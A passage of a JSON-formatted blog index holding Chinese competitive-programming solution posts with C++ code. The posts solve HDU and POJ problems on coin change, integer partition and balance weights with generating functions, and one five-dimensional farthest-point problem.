ONLINE_JUDGE 39 freopen(\"code/in.txt\",\"r\",stdin); 40 #endif 41 42 43 n = 32767; 44 ms(a,0); 45 ms(tmp,0); 46 for ( int i = 0 ; i \u003c= n ; i++) 47 { 48 a[i] = 1; 49 } 50 51 52 for ( int i = 2 ; i \u003c= 3 ; i++) 53 { 54 for ( int j = 0 ; j \u003c= n ; j++) 55 { 56 for ( int k = 0 ; k+j \u003c= n ; k+=i) 57 { 58 tmp[k+j] += a[j]; 59 // cout\u003c\u003c\"aa\"\u003c\u003cendl; 60 } 61 } 62 63 for ( int j = 0 ; j \u003c= n ; j++) 64 { 65 a[j] = tmp[j]; 66 tmp[j] = 0; 67 } 68 69 } 70 71 72 while (~scanf(\"%d\",\u0026n)) 73 { 74 printf(\"%d\\n\",a[n]); 75 } 76 77 78 #ifndef ONLINE_JUDGE 79 fclose(stdin); 80 #endif 81 return 0; 82}","date":"2016-02-27","externalUrl":null,"permalink":"/2016/02/hdu1284/","section":"Posts","summary":"http://acm.hdu.edu.cn/showproblem.php?pid=1284 题意：有1分，2分，3分的钱若干，问组成n（n\u003c=32767）分钱的方案数。 思路：母函数.","tags":["母函数"],"title":"hdu 1284 铅笔兑换问题（母函数）","type":"post"},{"categories":["ACM"],"content":"http://acm.hdu.edu.cn/showproblem.php?pid=2082 题意：26个字母，第i个字母有x[i]个，价值为i.问能组成多少个价值不超过50的单词（注意这里的单词只考虑字母的组成，不考虑字母之间的顺序） 思路：母函数。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年02月27日 星期六 15时56分31秒 4File Name :code/hdu/2082.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1E4; 34LL a[N],tmp[N]; 35int x[N]; 36int n; 37int main() 38{ 39 #ifndef ONLINE_JUDGE 40 freopen(\"code/in.txt\",\"r\",stdin); 41 #endif 42 43 44 ios::sync_with_stdio(false); 45 int T; 46 cin\u003e\u003eT; 47 while (T--) 48 { 49 for ( int i = 1; i \u003c= 26 ; i ++) cin\u003e\u003ex[i]; 50 51 ms(tmp,0); 52 ms(a,0); 53 for ( int i = 0 ; i \u003c= x[1]; i++) 54 { 55 a[i] = 1; 56 } 57 // cout\u003c\u003c\"aaa\"\u003c\u003cendl; 58 int cur = x[1]*1; 59 for ( int i = 2 ; i \u003c= 26 ; i++) 60 { 61 for ( int j = 0 ; j\u003c= cur ; j++) 62 { 63 for ( int k = 0 ; k \u003c= x[i] ; k++) 64 { 65 tmp[j+i*k]+=a[j]; 66 } 67 } 68 69 cur += x[i]*i; 70 71 // cout\u003c\u003c\"bbb:\"\u003c\u003cendl; 72 73 for ( int j = 0 ; j \u003c= cur ; j++) 74 { 75 a[j] = tmp[j]; 76 tmp[j] = 0 ; 77 } 78 } 79 // cout\u003c\u003c\"asdsad\"\u003c\u003cendl; 80 LL ans = 0LL ; 81 for ( int j = 1 ; j \u003c= 50 ; j++) 82 { 83 ans += a[j]; 84 } 85 cout\u003c\u003cans\u003c\u003cendl; 86 } 87 88 #ifndef ONLINE_JUDGE 89 fclose(stdin); 90 #en","date":"2016-02-27","externalUrl":null,"permalink":"/2016/02/hdu2082/","section":"Posts","summary":"http://acm.hdu.edu.cn/showproblem.php?pid=2082 题意：26个字母，第i个字母有x[i]个，价值为i.问能组成多少个价值不超过50的单词（注意这里的单词只考虑字母的组成，不考虑字母之间的顺序） 思路：母函数。","tags":["母函数"],"title":"hdu 2082 找单词 （母函数）","type":"post"},{"categories":["ACM"],"content":"http://acm.hdu.edu.cn/showproblem.php?pid=5616 题意：有n个（n\u003c=20）砝码，第i个重量为w[i],给出m个查询，每个查询一个重量，问这个重量能否被称量出。 思路：暴力（没美感），01背包（不会），母函数（瞬间成了傻逼题）和这题很像 hdu1709 balance hdu1709解题报告 1/* *********************************************** 2Author :111qqz 3Created Time :2016年02月27日 星期六 15时35分32秒 4File Name :code/hdu/5616.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=2E3+7; 34int w[N]; 35int a[N],tmp[N]; 36int n; 37int m; 38int main() 39{ 40 #ifndef ONLINE_JUDGE 41 freopen(\"code/in.txt\",\"r\",stdin); 42 #endif 43 44 ios::sync_with_stdio(false); 45 int T; 46 cin\u003e\u003eT; 47 while (T--) 48 { 49 cin\u003e\u003en; 50 for ( int i = 1 ; i \u003c= n ; i++) cin\u003e\u003ew[i]; 51 52 ms(a,0); 53 ms(tmp,0); 54 a[0] = 1; 55 a[w[1]] = 1; 56 57 int cur = w[1]; 58 for ( int i = 2 ; i \u003c= n ; i++) 59 { 60 for ( int j = 0 ; j \u003c= cur ; j++) 61 { 62 tmp[j+w[i]] += a[j]; //放左边 63 tmp[j] +=a[j]; //不放 64 65 if (j-w[i]\u003e0) tmp[j-w[i]] += a[j]; //放右边 66 if (w[i]-j\u003e0) tmp[w[i]-j] += a[j]; 67 } 68 69 70 cur += w[i]; 71 for ( int j = 0 ; j \u003c= cur ; j++) 72 { 73 a[j] = tmp[j]; 74 tmp[j] = 0; 75 } 76 } 77 78 cin\u003e\u003em; 79 while (m--) 80 { 81 int x; 82 cin\u003e\u003ex; 83 if (a[x]==0) 84 { 85 puts(\"NO\"); 86 } 87 else 88 { 89 puts(\"YES\"); 90 } 91 } 92 } 9","date":"2016-02-27","externalUrl":null,"permalink":"/2016/02/hdu5616/","section":"Posts","summary":"http://acm.hdu.edu.cn/showproblem.php?pid=5616 题意：有n个（n\u003c=20）砝码，第i个重量为w[i],给出m个查询，每个查询一个重量，问这个重量能否被称量出。 思路：暴力（没美感），01背包（不会），母函数（瞬间成了傻逼题）和这题很像 hdu1709 balance hdu1709解题报告","tags":["母函数"],"title":"BC #70  B || hdu 5616  Jam's balance （母函数）","type":"post"},{"categories":["ACM"],"content":"http://acm.hdu.edu.cn/showproblem.php?pid=2152 题意：中文题目，大概是说有n（\u003c=100）种水果，第i种至少拿l[i]个，最多拿r[i]个，现在挑选m种水果组成一个果盘，问方案数。 思路：母函数，之前的题目都是只对上界有限制，其实对下界有限制是一样的。以及。。。一开始以为是拿100元买。。。后来发现是“一打百元大钞”23333 其实再出难点可以对个数以及钱数都有限制。。。。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年02月27日 星期六 15时14分12秒 4File Name :code/hdu/2152.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=105; 34int a[N],tmp[N]; 35 36int n,m; 37int l[N],r[N]; 38int main() 39{ 40 #ifndef ONLINE_JUDGE 41 freopen(\"code/in.txt\",\"r\",stdin); 42 #endif 43 44 45 while (~scanf(\"%d %d\",\u0026n,\u0026m)) 46 { 47 for ( int i = 1 ; i \u003c= n ; i++) scanf(\"%d %d\",\u0026l[i],\u0026r[i]); 48 49 50 ms(tmp,0); 51 ms(a,0); 52 53 for ( int i = l[1] ; i \u003c= r[1] ; i++ ) 54 { 55 a[i] = 1; 56 } 57 58 for ( int i = 2 ; i \u003c= n ; i++) 59 { 60 for ( int j = 0 ; j \u003c= m ; j++) 61 { 62 for ( int k = l[i] ; k \u003c= r[i] ; k++ ) 63 { 64 tmp[j+k] +=a[j]; 65 } 66 } 67 68 for ( int j = 0 ; j \u003c= m ; j++) 69 { 70 a[j] = tmp[j]; 71 tmp[j] = 0 ; 72 } 73 } 74 75 76 printf(\"%d\\n\",a[m]); 77 78 79 80 81 } 82 83 #ifndef ONLINE_JUDGE 84 fclose(stdin); 85 #endif 86 return 0; 87}","date":"2016-02-27","externalUrl":null,"permalink":"/2016/02/hdu2152/","section":"Posts","summary":"http://acm.hdu.edu.cn/showproblem.php?pid=2152 题意：中文题目，大概是说有n（\u003c=100）种水果，第i种至少拿l[i]个，最多拿r[i]个，现在挑选m种水果组成一个果盘，问方案数。","tags":["母函数"],"title":"hdu 2152 Fruit (母函数)","type":"post"},{"categories":["ACM"],"content":"http://acm.hdu.edu.cn/showproblem.php?pid=2069 题意：有1,5,10,25,50面值的硬币若干，问组成n元钱有多少种不同的方案。一个额外的要求是硬币的总是不能超过100.（那句 your program should be able to handle up to 100 coins.真的是这个意思。。。？感觉好坑。。。） 思路：还是母函数，但是由于有了多硬币总数的限制条件，需要加一维.a[i][j]表示j个硬币组成i元钱的方案数（越来越想dp了） 如果转移的时候需要需要加一层硬币的个数。具体见代码。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年02月26日 星期五 12时19分21秒 4File Name :code/hdu/2069.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=255; 34int n; 35int a[N][105],tmp[N][105]; //a[i][j]表示j个硬币构成i元钱的方案数 36int s[10]={0,1,5,10,25,50}; 37int main() 38{ 39 #ifndef ONLINE_JUDGE 40 freopen(\"code/in.txt\",\"r\",stdin); 41 #endif 42 43 while (~scanf(\"%d\",\u0026n)) 44 { 45 46 ms(tmp,0); 47 ms(a,0); //多组数据，a数组也要记得初始化 48 for ( int i = 0 ; i \u003c= min(n,100) ; i++) 49 { 50 a[i][i] = 1; 51 } 52 53 54 55 for ( int i = 2 ; i \u003c= 5 ; i++) 56 { 57 for (int j = 0 ; j \u003c= n ; j++) 58 { 59 for ( int k = 0 ; k*s[i]+j\u003c= n ; k++) 60 { 61 for ( int z = 0 ; z+k \u003c=100 ; z++) 62 { 63 tmp[j+k*s[i]][z+k]+=a[j][z]; 64 } 65 } 66 } 67 68 69 for ( int j = 0 ; j \u003c= n ; j++) 70 { 71 for ( int z = 0 ; z \u003c= 100 ; z++) 72 { 73 a[j][z] = tmp[j][z]; 74 tmp[j][z] = 0 ; 75 } 76 } 77 78 79 } 80 81 in","date":"2016-02-27","externalUrl":null,"permalink":"/2016/02/hdu2069/","section":"Posts","summary":"http://acm.hdu.edu.cn/showproblem.php?pid=2069 题意：有1,5,10,25,50面值的硬币若干，问组成n元钱有多少种不同的方案。一个额外的要求是硬币的总是不能超过100.（那句 your program should be able to handle up to 100 coins.真的是这个意思。。。？感觉好坑。。。）","tags":["母函数"],"title":"hdu 2069  Coin Change(母函数)","type":"post"},{"categories":["ACM"],"content":"http://acm.hdu.edu.cn/showproblem.php?pid=1709 题意：有n个砝码，第i个的重量为w[i]，问从1到sum(所有砝码的重量之和)那些重量无法称量。（所有质量都是整数） 思路：母函数。 一个砝码可以看做有三种状态，放，放左边（+），放右边（-） 需要注意的一点是放在右边(-)的时候，可能是j-w[i]，也可能是w[i]-j 1/* *********************************************** 2Author :111qqz 3Created Time :2016年02月26日 星期五 17时57分05秒 4File Name :code/hdu/1709.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1E4+7; 34int a[N],tmp[N]; 35int n; 36int w[N]; 37int ans[N]; 38int main() 39{ 40 #ifndef ONLINE_JUDGE 41 freopen(\"code/in.txt\",\"r\",stdin); 42 #endif 43 44 while (~scanf(\"%d\",\u0026n)) 45 { 46 for ( int i = 1 ; i \u003c= n ; i++) scanf(\"%d\",\u0026w[i]); 47 // sort(w+1,w+n+1); 48 ms(ans,0); 49 ms(tmp,0); 50 ms(a,0); 51 a[0] = 1; 52 a[w[1]] = 1; 53 54 int cur = w[1]; 55 for ( int i = 2 ; i \u003c= n ; i++) 56 { 57 for ( int j = 0 ; j \u003c= cur ; j++) 58 { 59 tmp[j] +=a[j]; 60 tmp[j+w[i]]+=a[j]; 61 if (j-w[i]\u003e0) tmp[j-w[i]] +=a[j]; 62 if (w[i]-j\u003e0) tmp[w[i]-j] +=a[j]; //一开始忘记考虑，wa了好多次 63 64 } 65 66 cur += w[i]; 67 68 for ( int j = 0 ; j \u003c= cur ; j++) 69 { 70 // cout\u003c\u003c\"j:\"\u003c\u003cj\u003c\u003c\" tmp[j]:\"\u003c\u003ctmp[j]\u003c\u003cendl; 71 a[j] = tmp[j]; 72 tmp[j] = 0 ; 73 } 74 75 } 76 int cnt = 0 ; 77 for ( int i = 1 ; i \u003c= cur ; i++) 78 { 79 if (a[i]==0) ans[++cnt","date":"2016-02-26","externalUrl":null,"permalink":"/2016/02/hdu1709/","section":"Posts","summary":"http://acm.hdu.edu.cn/showproblem.php?pid=1709 题意：有n个砝码，第i个的重量为w[i]，问从1到sum(所有砝码的重量之和)那些重量无法称量。（所有质量都是整数） 思路：母函数。 一个砝码可以看做有三种状态，放，放左边（+），放右边（-）","tags":["母函数"],"title":"hdu 1709 The Balance (母函数)","type":"post"},{"categories":["ACM"],"content":"http://acm.hdu.edu.cn/showproblem.php?pid=2189 题意：n个人可以分成若干组，每组人数都为素数，问有多少种分法。 思路：母函数。先预处理素数，记得多处理一点… 1/* *********************************************** 2Author :111qqz 3Created Time :2016年02月26日 星期五 16时24分17秒 4File Name :code/hdu/2189.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003emuhanshu 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=155; 34int pri[N]; 35int a[N],tmp[N]; 36int cnt; 37int n; 38 39bool judge ( int n) 40{ 41 if (n\u003c=3) return true; 42 for ( int i = 2 ; i*i \u003c= n ; i++) 43 { 44 if (n%i==0) return false; 45 } 46 47 return true; 48} 49 50 51void pre() 52{ 53 cnt = 0; 54 for ( int i = 2 ; i \u003c= 200 ; i++) 55 { 56 if (judge(i)) 57 pri[++cnt] = i; 58 } 59} 60int main() 61{ 62 #ifndef ONLINE_JUDGE 63 freopen(\"code/in.txt\",\"r\",stdin); 64 #endif 65 66 67 int T; 68 pre(); 69 scanf(\"%d\",\u0026T); 70 while (T--) 71 { 72 scanf(\"%d\",\u0026n); 73 74 ms(a,0); 75 for ( int i = 0 ; i \u003c= n ; i+=2 ) 76 { 77 a[i] = 1; 78 tmp[i] = 0; 79 } 80 81 82 for ( int i = 2 ; pri[i] \u003c= n ; i++) 83 { 84 for ( int j = 0 ; j \u003c= n ; j++) 85 { 86 for ( int k = 0 ; k + j \u003c= n ; k +=pri[i]) 87 { 88 tmp[j+k] +=a[j]; 89 } 90 } 91 for ( int j = 0 ; j \u003c= n ; j ++) 92 { 93 a[j] = tmp[j]; 94 tmp[j] = 0; 95 } 96 } 97 98 printf(\"%d\\n\",a[n]); 99 } 100 1","date":"2016-02-26","externalUrl":null,"permalink":"/2016/02/hdu-2189-512--/","section":"Posts","summary":"http://acm.hdu.edu.cn/showproblem.php?pid=2189 题意：n个人可以分成若干组，每组人数都为素数，问有多少种分法。 思路：母函数。先预处理素数，记得多处理一点…","tags":["母函数"],"title":"hdu 2189  悼念512汶川大地震遇难同胞——来生一起走 (母函数)","type":"post"},{"categories":["ACM"],"content":"http://acm.hdu.edu.cn/showproblem.php?pid=1085 题意;一元的钱有num_1张，2元的钱有num_2张，5元的钱有num_5张，问最小的不能组成的钱是多少。 思路：有限个个数的母函数，并且不知道最好要多少，所以限制条件变成了不同种类钱的个数。统计0到num_1+2num_2+5num_5的方案数，第一个为0的就是答案。 20161117更新：之前贴的代码好像有点问题…估计是最后一次更新以后忘记保存了orz 1/* *********************************************** 2Author :111qqz 3Created Time :2016年02月25日 星期四 22时26分16秒 4File Name :code/hdu.1085.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=9E3+7; 34int num_1,num_2,num_5; 35int a[N],tmp[N]; 36int main() 37{ 38 #ifndef ONLINE_JUDGE 39 freopen(\"code/in.txt\",\"r\",stdin); 40 #endif 41 42 while (~scanf(\"%d%d%d\",\u0026num_1,\u0026num_2,\u0026num_5)) 43 { 44 if (num_1==0\u0026\u0026num_2==0\u0026\u0026num_5==0) break; 45 ms(a,0); 46 int total = num_1+2*num_2+5*num_5; 47 for ( int i = 0 ; i \u003c= num_1; i++) 48 { 49 a[i] = 1; 50 tmp[i] = 0; 51 } 52 53 for ( int j = 0 ; j \u003c= num_1 ; j++) 54 { 55 for ( int k = 0; k \u003c=num_2 ; k++) 56 { 57 tmp[j+2*k] += a[j]; 58 } 59 } 60 61 for ( int j = 0 ; j \u003c= num_1 +2*num_2 ; j++) 62 { 63 a[j] = tmp[j]; 64 tmp[j] = 0 ; 65 } 66 67 for ( int j = 0 ; j \u003c= num_1+2*num_2 ; j++) 68 { 69 for ( int k = 0; k \u003c= num_5 ; k++) 70 { 71 tmp[j+5*k]+=a[j]; 72 } 73 } 74 for ( int j = 0 ; j \u003c= total ; j++) 75 { 76 a[j] = tmp[j]","date":"2016-02-25","externalUrl":null,"permalink":"/2016/02/hdu1085/","section":"Posts","summary":"http://acm.hdu.edu.cn/showproblem.php?pid=1085 题意;一元的钱有num_1张，2元的钱有num_2张，5元的钱有num_5张，问最小的不能组成的钱是多少。 思路：有限个个数的母函数，并且不知道最好要多少，所以限制条件变成了不同种类钱的个数。统计0到num_1+2num_2+5num_5的方案数，第一个为0的就是答案。","tags":["母函数"],"title":"hdu 1085  Holding Bin-Laden Captive! （母函数）","type":"post"},{"categories":["ACM"],"content":"http://acm.hdu.edu.cn/showproblem.php?pid=1398 题意：所有的货币都是平方数，比如1,4,9…问凑出n块钱有多少种办法。 思路：母函数。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年02月25日 星期四 22时15分31秒 4File Name :code/hdu/1398.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=305; 34int a[N],tmp[N]; 35int n; 36int main() 37{ 38 #ifndef ONLINE_JUDGE 39 freopen(\"code/in.txt\",\"r\",stdin); 40 #endif 41 42 while (scanf(\"%d\",\u0026n)!=EOF\u0026\u0026n) 43 { 44 for (int i = 0 ; i \u003c= n ;i++) 45 { 46 a[i] = 1; 47 tmp[i] = 0 ; 48 } 49 50 for ( int i = 2 ; i*i \u003c= n ; i ++) 51 { 52 for ( int j = 0 ; j \u003c= n ; j++) 53 { 54 for ( int k = 0 ; k+j \u003c= n ; k+=i*i) 55 { 56 tmp[j+k] += a[j]; 57 } 58 } 59 60 for ( int j = 0 ; j \u003c= n ;j++) 61 { 62 a[j] = tmp[j]; 63 tmp[j] = 0 ; 64 } 65 } 66 67 printf(\"%d\\n\",a[n]); 68 } 69 70 #ifndef ONLINE_JUDGE 71 fclose(stdin); 72 #endif 73 return 0; 74}","date":"2016-02-25","externalUrl":null,"permalink":"/2016/02/hdu1398/","section":"Posts","summary":"http://acm.hdu.edu.cn/showproblem.php?pid=1398 题意：所有的货币都是平方数，比如1,4,9…问凑出n块钱有多少种办法。 思路：母函数。","tags":["母函数"],"title":"hdu 1398 Square Coins (母函数裸题)","type":"post"},{"categories":["ACM"],"content":"http://acm.hdu.edu.cn/showproblem.php?pid=1028 题意：求整数拆分数。 思路：母函数模板题。关于母函数的学习：http://www.cnblogs.com/syxchina/archive/2011/07/07/2197205.html http://www.cppblog.com/tanky-woo/archive/2010/08/02/121969.html 具体解释见代码注释。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年02月25日 星期四 21时53分43秒 4File Name :code/hdu/1028.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=125; 34int n; 35int a[N],tmp[N]; //a[i]表示每两个表达式运算时候的前一个表达式的x^i的系数，以及最后的表达式的x^i的系数 36 //tmp[i]是每次运算临时存储指数用 37int main() 38{ 39 #ifndef ONLINE_JUDGE 40 freopen(\"code/in.txt\",\"r\",stdin); 41 #endif 42 43 while (~scanf(\"%d\",\u0026n)) //第i个表达式的样子为：(1+x^i,+x^(2*i),....) 表示有一个i,两个i...... 44 { 45 for ( int i = 0 ; i \u003c= n ; i++) //所以指数都非负，所以最多有n个表达式对答案有贡献。 46 { 47 a[i] = 1; 48 tmp[i] = 0 ; 49 } 50//每次只考虑两个表达式的运算，把运算结果放在第一个表达式里。 51 for ( int i = 2 ; i \u003c= n ; i++) //i表示第i个表达式 52 { 53 for ( int j = 0 ; j \u003c= n ; j++) //j表示第一个表达式的第j个变量 54 { 55 for ( int k = 0 ; k+j\u003c= n ; k+=i) //k表示第i个表达式的指数，0,i,2*i,3*i... 56 { 57 tmp[j+k] += a[j]; 58 } 59 } 60 61 for ( int j = 0 ; j \u003c= n ; j++) 62 { 63 a[j] = tmp[j]; 64 tmp[j] = 0 ; 65 } 66 } 67 68 // for ( int i = 0 ; i \u003c= n ; i++) cout\u003c\u003c\"i:\"\u003c\u003ci\u003c\u003c\" \"\u003c\u003ca[i]\u003c","date":"2016-02-25","externalUrl":null,"permalink":"/2016/02/hdu1028/","section":"Posts","summary":"http://acm.hdu.edu.cn/showproblem.php?pid=1028 题意：求整数拆分数。 思路：母函数模板题。关于母函数的学习：http://www.cnblogs.com/syxchina/archive/2011/07/07/2197205.html http://www.cppblog.com/tanky-woo/archive/2010/08/02/121969.html","tags":["母函数","组合数学"],"title":"hdu 1028 Ignatius and the Princess III（整数拆分，母函数模板题）","type":"post"},{"categories":["ACM"],"content":"http://poj.org/problem?id=2926 题意：给出n(1E5)个五维空间内的坐标…问最远的两个点距离多少。 思路：拆点即可。去绝对值。可以由二维空间推广到k维空间。一个点可以拆成2^(k-1)个点。 具体见代码。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年02月25日 星期四 00时19分46秒 4File Name :code/poj/2926.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#include \u003ciomanip\u003e 20#define fst first 21#define sec second 22#define lson l,m,rt\u003c\u003c1 23#define rson m+1,r,rt\u003c\u003c1|1 24#define ms(a,x) memset(a,x,sizeof(a)) 25typedef long long LL; 26#define pi pair \u003c int ,int \u003e 27#define MP make_pair 28 29using namespace std; 30const double eps = 1E-8; 31const int dx4[4]={1,0,0,-1}; 32const int dy4[4]={0,-1,1,0}; 33const int inf = 0x3f3f3f3f; 34const int N=1E5+7; 35double p[16][N]; 36int n; 37int main() 38{ 39 #ifndef ONLINE_JUDGE 40 freopen(\"code/in.txt\",\"r\",stdin); 41 #endif 42 43 ios::sync_with_stdio(false); 44 cin\u003e\u003en; 45 for ( int i = 0 ; i \u003c n ;i++) 46 { 47 double x1,x2,x3,x4,x5; 48 cin\u003e\u003ex1\u003e\u003ex2\u003e\u003ex3\u003e\u003ex4\u003e\u003ex5; 49 p[0][i]=x1+x2+x3+x4+x5; 50 p[1][i]=x1+x2+x3+x4-x5; 51 p[2][i]=x1+x2+x3-x4+x5; 52 p[3][i]=x1+x2+x3-x4-x5; 53 54 p[4][i]=x1+x2-x3+x4+x5; 55 p[5][i]=x1+x2-x3+x4-x5; 56 p[6][i]=x1+x2-x3-x4+x5; 57 p[7][i]=x1+x2-x3-x4-x5; 58 59 p[8][i]=x1-x2+x3+x4+x5; 60 p[9][i]=x1-x2+x3+x4-x5; 61 p[10][i]=x1-x2+x3-x4+x5; 62 p[11][i]=x1-x2+x3-x4-x5; 63 64 p[12][i]=x1-x2-x3+x4+x5; 65 p[13][i]=x1-x2-x3+x4-x5; 66 p[14][i]=x1-x2-x3-x4+x5; 67 p[15][i]=x1-x2-x3-x4-x5; 68 } 69 70 double mx = -1; 71 for ( int i = 0 ; i \u003c 16 ; i++) 72 { 73 sort(p[i],p[i]+n); 74 75 mx = max(mx,p[i][n-1]-p[i][0]); 76 77 } 78 